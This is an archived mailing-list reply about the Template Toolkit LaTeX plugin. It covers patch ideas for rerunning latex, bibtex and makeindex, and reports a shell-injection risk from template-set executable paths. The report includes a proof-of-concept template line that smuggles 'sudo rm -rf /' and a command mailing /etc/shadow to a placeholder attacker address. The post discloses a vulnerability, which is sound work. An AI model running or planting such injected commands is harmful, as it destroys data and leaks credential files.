logo       
Google Custom Search
    AddThis Social Bookmark Button

Re: Developer Release 2.15a - new LaTeX plugin distribution and secutity is: msg#00085

Subject: Re: Developer Release 2.15a - new LaTeX plugin distribution and secutity issue?
Andy Wardley wrote:
... It also removes the latex filter which I had broken but not removed in 2.15.

There's also the new Template-Latex distribution available from here:

  http://tt2.org/download/Template-Latex-2.16.tar.gz

This provides the Latex plugin which defines the latex filter which is no longer a core part of TT. It also contains the Template::Latex module, a wrapper around the Template module which pre-defines the filter for you and gives you some extra Latex configuration options.
Almost two years ago I made some changes to the LaTeX filter and submitted a patch, but it did not get applied. The changes were to make the filter optionally run the various LaTeX auxiliary programs (bibtex and makeindex) and to rerun latex or pdflatex a number of time (or until all cross references stabilize). There are some other changes I had in mind like adding the directory of the template to TEXINPUTS for the child processes (which are run in a temporary directory) can find files for \include and \includegraphics. A lot of these options are potentially expensive; for example with a document having a table of contents, an index and bibliography you could be running latex three times to get the TOC generated, forward references and page numbers to settle, then bibtex for the bibliography, latex a couple of times in case the pagination changes, makeindex and then latex one or two more times. My patch checks the output from latex to see if whether it gets the message "Label(s) may have changed" to decide whether to re-run latex, so as to avoid unnecessary runs, but nevertheless running the latex filter on a complex document is expensive.

I use the LaTeX filter quite a bit, so now that the LaTeX plugin has been separated out of the main Template Toolkit distribution I will revisit my changes and suggest how the new separate plugin could be enhanced.


On a different issue, from a cursory scan of the new plugin I am a little worried about security implications implied by the fact that templates can specify the absolute paths of the latex, pdflatex and dvips executables. This would appear to give the template writer carte blanche to invoke any executable with the rights of the user processing the templates. The filter does not even seem to validate these paths for embedded whitespace or shell escapes and passes constructed command lines to the shell (via "system"), so I could try something like:

 [% USE latex(latex => 'sudo rm -rf /;',
dvips => "sudo sh -c 'mail badguy-JXiH2Qp+pBI@xxxxxxxxxxxxxxxx </etc/shaddow';") %]


Finally, now that 2.15 is out I will have another look at the TT2 quick reference card to update it to reflect some of the new features that have appeared. Any comments on the card or suggestions are always welcome.

Regards
Andrew

--
Andrew Ford, Director Pauntley Prints / Ford & Mason Ltd A.Ford-OfKrLxNBp1iX/4koqx8SDw@xxxxxxxxxxxxxxxx South Wing Compton House pauntley-prints.co.uk Compton Green, Redmarley Tel: +44 1531 829900
ford-mason.co.uk          Gloucester GL19 3JB       Fax: +44 1531 829901
refcards.com cronolog.org Great Britain          Mobile: +44 7785 258278



Try Searching:
servers, voip, java, networking, microsoft ...
<Prev in Thread] Current Thread [Next in Thread>